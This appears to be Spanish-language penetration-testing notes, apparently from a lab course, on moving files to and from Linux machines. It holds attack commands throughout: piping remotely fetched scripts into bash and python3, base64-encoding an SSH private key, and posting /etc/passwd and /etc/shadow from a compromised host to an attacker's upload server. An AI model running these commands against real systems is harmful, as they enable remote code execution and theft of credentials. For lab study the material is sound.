Linux

Base64 Encoding / Decoding

  • Usamos MD5 para comprobar la integridad del archivo
terminal
md5sum id_rsa
  • Codificamos a base64
bash
$ cat id_rsa | base64 -w 0; echo
  • Decodificamos en la otra máquina
terminal
$ echo -n 'cadena_codificada_base64' | base64 -d > id_rsa
  • Verificamos la integridad del archivo en la otra máquina
terminal
md5sum id_rsa

Wget & Curl

terminal
$ wget http://<ip>/LinEnum.sh -O /tmp/LinEnum.sh$ curl -o /tmp/LinEnum.sh http://<ip>/LinEnum.sh

Ataques Fileless

terminal
$ curl http://<ip>/LinEnum.sh | bash$ wget -qO- http://<ip>/helloworld.py | python3

Bash (Dev/TCP)

Conectamos al Servidor Web
terminal
exec 3<>/dev/tcp/10.10.10.32/80
Peticion GET
terminal
$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
Printeamos la respuesta
terminal
$ cat <&3

SSH

Activamos el servidor SSH
terminal
sudo systemctl enable sshsudo systemctl start ssh
Vemos el puerto que esta ssh escuchando
terminal
netstat -lnpt
Descargamos el archivo usando SCP
terminal
$ scp plaintext@192.168.49.128:/root/myroot.txt .

Operaciones de Subida

Web (UploadServer)

Creamos un certificado autofirmado
terminal
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Iniciamos el servidor con HTTPS
terminal
$ mkdir https && cd https$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
Subimos archivos desde una máquina comprometida
terminal
$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Web (Básico)

terminal
$ python3 -m http.serverpython2.7 -m SimpleHTTPServerphp -S 0.0.0.0:8000ruby -run -ehttpd . -p8000
Desde la atacante conseguimos los archivos
terminal
$ wget 192.168.49.128:8000/filetotransfer.txt

SCP Upload

Podemos encontrar algunas empresas que permitan el protocolo SSH (TCP/22) para conexiones salientes, y si ese es el caso, podemos utilizar un servidor SSH con la utilidad scp para subir archivos
terminal
$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/